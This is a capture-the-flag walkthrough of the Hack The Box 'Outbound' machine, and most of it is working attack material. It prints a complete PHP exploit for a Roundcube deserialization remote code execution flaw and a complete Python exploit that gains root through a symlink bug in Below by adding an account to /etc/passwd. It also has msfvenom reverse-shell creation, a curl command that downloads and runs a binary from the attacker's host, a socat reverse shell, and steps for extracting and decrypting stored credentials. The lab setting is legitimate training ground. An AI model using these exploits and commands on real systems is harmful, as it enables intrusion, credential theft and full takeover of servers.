Outbound HTB Machine - Complete Walkthrough
8 min read

This is a detailed walkthrough of the "Outbound" machine from Hack The Box, demonstrating the complete exploitation chain from initial reconnaissance to privilege escalation.
Target Information
IP Address: 10.10.11.77
Hostname: outbound.htb
Initial Credentials: tyler:LhKL1o9Nm3X2

Reconnaissance and Enumeration
Port Scanning
Using rustscan to identify open ports:
rustscan -a outbound.htb -- -A
Results:
Port 22 (SSH): OpenSSH 9.6p1 Ubuntu
Port 80 (HTTP): nginx 1.24.0 redirecting to
http://mail.outbound.htb/
Service Enumeration
SSH (Port 22)
Initial attempts to connect via SSH with the provided credentials failed:
ssh tyler@outbound.htb
# Permission denied with the credentials
HTTP (Port 80)
The web service redirects to mail.outbound.htb, indicating a mail server application.

After successful login with tyler:LhKL1o9Nm3X2, we gain access to a Roundcube webmail interface.

Version Detection
Identifying the software version revealed:

Key Finding: Roundcube version vulnerable to CVE-2025-49113 - Post-Auth Remote Code Execution via PHP Object Deserialization
Exploitation Phase
CVE-2025-49113 - Roundcube RCE
This vulnerability allows authenticated users to achieve remote code execution through PHP object deserialization in the file upload functionality.
Exploit Code
<?php
class Crypt_GPG_Engine
{
public $_process = false;
public $_gpgconf = '';
public $_homedir = '';
public function __construct($_gpgconf)
{
$_gpgconf = base64_encode($_gpgconf);
$this->_gpgconf = "echo \"{$_gpgconf}\"|base64 -d|sh;#";
}
public function gadget()
{
return '|'. serialize($this) . ';';
}
}
function checkVersion($baseUrl)
{
echo "[*] Checking Roundcube version...\n";
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
'ignore_errors' => true,
],
]);
$response = file_get_contents($baseUrl, false, $context);
if ($response === FALSE) {
echo "[-] Error: Failed to check version.\n";
exit(1);
}
$vulnerableVersions = [
'10500', '10501', '10502', '10503', '10504', '10505', '10506', '10507', '10508', '10509',
'10600', '10601', '10602', '10603', '10604', '10605', '10606', '10607', '10608', '10609', '10610'
];
preg_match('/"rcversion":(\d+)/', $response, $matches);
if (empty($matches[1])) {
echo "[-] Error: Could not detect Roundcube version.\n";
exit(1);
}
$version = $matches[1];
echo "[*] Detected Roundcube version: " . $version . "\n";
if (in_array($version, $vulnerableVersions)) {
echo "[+] Target is vulnerable!\n";
return true;
} else {
echo "[-] Target is not vulnerable.\n";
exit(1);
}
}
function login($baseUrl, $user, $pass)
{
$context = stream_context_create([
'http' => [
'method' => 'GET',
'header' => "User-Agent: Roundcube exploit CVE-2025-49113 - Hakai Security\r\n",
'ignore_errors' => true,
],
]);
$response = file_get_contents($baseUrl, false, $context);
if ($response === FALSE) {
echo "Error: Failed to obtain the initial page.\n";
exit(1);
}
// Extract session cookie and CSRF token
preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessid' cookie not found.\n";
exit(1);
}
$sessionCookie = 'roundcube_sessid=' . $matches[1];
preg_match('/"request_token":"([^"]+)"/', $response, $matches);
if (empty($matches[1])) {
echo "Error: CSRF token not found.\n";
exit(1);
}
$csrfToken = $matches[1];
$url = $baseUrl . '/?_task=login';
$data = http_build_query([
'_token' => $csrfToken,
'_task' => 'login',
'_action' => 'login',
'_timezone' => 'America/Sao_Paulo',
'_url' => '',
'_user' => $user,
'_pass' => $pass,
]);
$options = [
'http' => [
'header' => "Content-type: application/x-www-form-urlencoded\r\n" .
"Cookie: " . $sessionCookie . "\r\n",
'method' => 'POST',
'content' => $data,
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === FALSE) {
echo "Error: Failed to make the request.\n";
exit(1);
}
$statusLine = $http_response_header[0];
preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
$status = $match[1];
if ($status == 401) {
echo "Error: Incorrect credentials.\n";
exit(1);
} elseif ($status != 302) {
echo "Error: Request failed with status code $status.\n";
exit(1);
}
// Extract authentication cookies
preg_match_all('/Set-Cookie: roundcube_sessauth=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessauth' cookie not found.\n";
exit(1);
}
$authCookie = 'roundcube_sessauth=' . end($matches[1]);
preg_match('/Set-Cookie: roundcube_sessid=([^;]+)/', implode("\n", $http_response_header), $matches);
if (empty($matches[1])) {
echo "Error: 'roundcube_sessid' cookie not found.\n";
exit(1);
}
$sessionCookie = 'roundcube_sessid=' . $matches[1];
echo "[+] Login successful!\n";
return [
'sessionCookie' => $sessionCookie,
'authCookie' => $authCookie,
];
}
function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget)
{
$uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=upload1749190777535&_unlock=loading1749190777536&_action=upload';
// Hardcoded PNG image in base64
$base64Image = 'iVBORw0KGgoAAAANSUhEUgAAAIAAAABcCAYAAACmwr2fAAAAAXNSR0IArs4c6QAAAGxlWElmTU0AKgAAAAgABAEaAAUAAAABAAAAPgEbAAUAAAABAAAARgEoAAMAAAABAAIAAIdpAAQAAAABAAAATgAAAAAAAACQAAAAAQAAAJAAAAABAAKgAgAEAAAAAQAAAICgAwAEAAAAAQAAAFwAAAAAbqF/KQAAAAlwSFlzAAAWJQAAFiUBSVIk8AAAAWBJREFUeAHt1MEJACEAxMDzSvEn2H97CrYx2Q4Swo659vkaa+BnyQN/BgoAD6EACgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B6gAHADOH4PUAC4ARy/BygA3ACO3wMUAG4Ax+8BCgA3gOP3AAWAG8Dxe4ACwA3g+D1AAeAGcPweoABwAzh+D1AAuAEcvwcoANwAjt8DFABuAMfvAQoAN4Dj9wAFgBvA8XuAAsAN4Pg9QAHgBnD8HqAAcAM4fg9QALgBHL8HKADcAI7fAxQAbgDH7wEKADeA4/cABYAbwPF7gALADeD4PUAB4AZw/B4AD+ACXpACLpoPsQQAAAAASUVORK5CYII=';
$fileContent = base64_decode($base64Image);
if ($fileContent === FALSE) {
echo "Error: Failed to decode the base64 image.\n";
exit(1);
}
$boundary = uniqid();
$data = "--" . $boundary . "\r\n" .
"Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" .
"Content-Type: image/png\r\n\r\n" .
$fileContent . "\r\n" .
"--" . $boundary . "--\r\n";
$options = [
'http' => [
'header' => "Content-type: multipart/form-data; boundary=" . $boundary . "\r\n" .
"Cookie: " . $sessionCookie . "; " . $authCookie . "\r\n",
'method' => 'POST',
'content' => $data,
'ignore_errors' => true,
],
];
echo "[*] Exploiting...\n";
$context = stream_context_create($options);
$result = file_get_contents($uploadUrl, false, $context);
if ($result === FALSE) {
echo "Error: Failed to send the file.\n";
exit(1);
}
$statusLine = $http_response_header[0];
preg_match('{HTTP/\S*\s(\d{3})}', $statusLine, $match);
$status = $match[1];
if ($status != 200) {
echo "Error: File upload failed with status code $status.\n";
exit(1);
}
echo "[+] Gadget uploaded successfully!\n";
}
function exploit($baseUrl, $user, $pass, $rceCommand)
{
echo "[+] Starting exploit (CVE-2025-49113)...\n";
checkVersion($baseUrl);
$gpgEngine = new Crypt_GPG_Engine($rceCommand);
$gadget = $gpgEngine->gadget();
$gadget = str_replace('"', '\\"', $gadget);
$cookies = login($baseUrl, $user, $pass);
uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget);
}
if ($argc !== 5) {
echo "Usage: php CVE-2025-49113.php <url> <username> <password> <command>\n";
exit(1);
}
$baseUrl = $argv[1];
$user = $argv[2];
$pass = $argv[3];
$rceCommand = $argv[4];
exploit($baseUrl, $user, $pass, $rceCommand);
Payload Preparation
- Create reverse shell payload:
msfvenom -p php/reverse_php LHOST=10.10.14.93 LPORT=9001 -o shell.php
- Set up HTTP server:
python -m http.server 8000
- Set up netcat listener:
nc -lvnp 9001
Exploitation Execution
php CVE-2025-49113.php http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "curl http://10.10.14.93:8000/reverse.elf -o /tmp/reverse.elf && chmod +x /tmp/reverse.elf && /tmp/reverse.elf"

Post-Exploitation
Initial Shell Upgrade
Upgrade to a better shell using socat:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.93:4444
Database Credentials Discovery
Located Roundcube configuration file containing database credentials:
File: /var/www/html/roundcube/config/config.inc.php
tyler@mail:/var/www/html/roundcube/config$ cat config.inc.php
<?php
$config = [];
// Database connection string (DSN) for read+write operations
// Format (compatible with PEAR MDB2): db_provider://user:password@host/database
// Currently supported db_providers: mysql, pgsql, sqlite, mssql, sqlsrv, oracle
// For examples see http://pear.php.net/manual/en/package.database.mdb2.intro-dsn.php
// NOTE: for SQLite use absolute path (Linux): 'sqlite:////full/path/to/sqlite.db?mode=0646'
// or (Windows): 'sqlite:///C:/full/path/to/sqlite.db'
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
// IMAP host chosen to perform the log-in.
// See defaults.inc.php for the option description.
$config['imap_host'] = 'localhost:143';
// SMTP server host (for sending mails).
// See defaults.inc.php for the option description.
$config['smtp_host'] = 'localhost:587';
// SMTP username (if required) if you use %u as the username Roundcube
// will use the current username for login
$config['smtp_user'] = '%u';
// SMTP password (if required) if you use %p as the password Roundcube
// will use the current user's password for login
$config['smtp_pass'] = '%p';
$config['support_url'] = '';
$config['product_name'] = 'Roundcube Webmail';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
$config['plugins'] = [
'archive',
'zipdownload',
];
$config['skin'] = 'elastic';
$config['default_host'] = 'localhost';
$config['smtp_server'] = 'localhost';
Key findings:
Database:
mysql://roundcube:RCDBPass2025@localhost/roundcubeEncryption key:
rcmail-!24ByteDESkey*Str
Database Enumeration
Connected to MySQL database:
mysql -u roundcube -pRCDBPass2025 roundcube

Dumped session table to extract encrypted user data:


Decryption Process
Target encrypted data: L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
Using CyberChef with the following parameters:
Algorithm: Triple DES
Key:
rcmail-!24ByteDESkey*StrIV:
2f b4 6f d3 40 3c 4e ecInput:
09 02 be bb 90 84 f1 c5 c4 a0 9c 89 36 e4 09 bf


Decrypted password for jacob: 595mO8DmwGeD
Lateral Movement
Connected as jacob user:

Email Discovery
Found emails in jacob's home directory revealing updated credentials:
From tyler@outbound.htb:
Due to the recent change of policies your password has been changed.
Please use the following credentials to log into your account: gY4Wr3a1evp4
Remember to change your password when you next log into your account.
From mel@outbound.htb:
We have been experiencing high resource consumption on our main server.
For now we have enabled resource monitoring with Below and have granted you privileges to inspect the logs.
Please inform us immediately if you notice any irregularities.
User Flag
Successfully obtained user flag: dcd5xxxxd703xxxxb00bxxxx81f3806
Privilege Escalation
Sudo Privileges Analysis
sudo -l
Output:
User jacob may run the following commands on outbound:
(ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*
CVE-2025-27591 - Below Privilege Escalation
The below binary is vulnerable to CVE-2025-27591, allowing privilege escalation through symlink attacks.
Exploit Code
#!/usr/bin/env python3
import os
import subprocess
import sys
import pty
BINARY = "/usr/bin/below"
LOG_DIR = "/var/log/below"
TARGET_LOG = f"{LOG_DIR}/error_root.log"
TMP_PAYLOAD = "/tmp/attacker"
MALICIOUS_PASSWD_LINE = "attacker::0:0:attacker:/root:/bin/bash\n"
def check_world_writable(path):
st = os.stat(path)
return bool(st.st_mode & 0o002)
def is_symlink(path):
return os.path.islink(path)
def run_cmd(cmd, show_output=True):
if show_output:
print(f"[+] Running: {cmd}")
try:
return subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
except subprocess.CalledProcessError as e:
if show_output:
print(f"[-] Command failed: {e.output}")
return None
def check_vulnerability():
print("[*] Checking for CVE-2025-27591 vulnerability...")
if not os.path.exists(LOG_DIR):
print(f"[-] Log directory {LOG_DIR} does not exist.")
return False
if not check_world_writable(LOG_DIR):
print(f"[-] {LOG_DIR} is not world-writable.")
return False
print(f"[+] {LOG_DIR} is world-writable.")
if os.path.exists(TARGET_LOG):
if is_symlink(TARGET_LOG):
print(f"[+] {TARGET_LOG} is already a symlink. Looks exploitable.")
return True
else:
print(f"[!] {TARGET_LOG} is a regular file. Removing it...")
os.remove(TARGET_LOG)
try:
os.symlink("/etc/passwd", TARGET_LOG)
print(f"[+] Symlink created: {TARGET_LOG} -> /etc/passwd")
os.remove(TARGET_LOG)
return True
except Exception as e:
print(f"[-] Failed to create symlink: {e}")
return False
def exploit():
print("[*] Starting exploitation...")
with open(TMP_PAYLOAD, "w") as f:
f.write(MALICIOUS_PASSWD_LINE)
print(f"[+] Wrote malicious passwd line to {TMP_PAYLOAD}")
if os.path.exists(TARGET_LOG):
os.remove(TARGET_LOG)
os.symlink("/etc/passwd", TARGET_LOG)
print(f"[+] Symlink set: {TARGET_LOG} -> /etc/passwd")
print("[*] Executing 'below record' as root to trigger logging...")
try:
subprocess.run(["sudo", BINARY, "record"], timeout=40)
print("[+] 'below record' executed.")
except subprocess.TimeoutExpired:
print("[-] 'below record' timed out (may still have written to the file).")
except Exception as e:
print(f"[-] Failed to execute 'below': {e}")
print("[*] Appending payload into /etc/passwd via symlink...")
try:
with open(TARGET_LOG, "a") as f:
f.write(MALICIOUS_PASSWD_LINE)
print("[+] Payload appended successfully.")
except Exception as e:
print(f"[-] Failed to append payload: {e}")
print("[*] Attempting to switch to root shell via 'su attacker'...")
try:
pty.spawn(["su", "attacker"])
except Exception as e:
print(f"[-] Failed to spawn shell: {e}")
return False
def main():
if not check_vulnerability():
print("[-] Target does not appear vulnerable.")
sys.exit(1)
print("[+] Target is vulnerable.")
if not exploit():
print("[-] Exploitation failed.")
sys.exit(1)
if __name__ == "__main__":
main()
Root Access Achievement

Root flag: 03b2xxxxc9caxxxx4e84xxxx089b87c
Summary
This machine demonstrated a complete attack chain involving:
Initial Access: Exploiting CVE-2025-49113 in Roundcube webmail for RCE
Lateral Movement: Database credential extraction and password decryption
Privilege Escalation: Exploiting CVE-2025-27591 in the Below monitoring tool
Key Takeaways
Roundcube Security: Keep webmail applications updated to prevent deserialization attacks
Database Security: Encrypt sensitive session data with strong encryption
Privilege Management: Carefully review sudo privileges, especially for system monitoring tools
Log Directory Permissions: Ensure proper permissions on system log directories
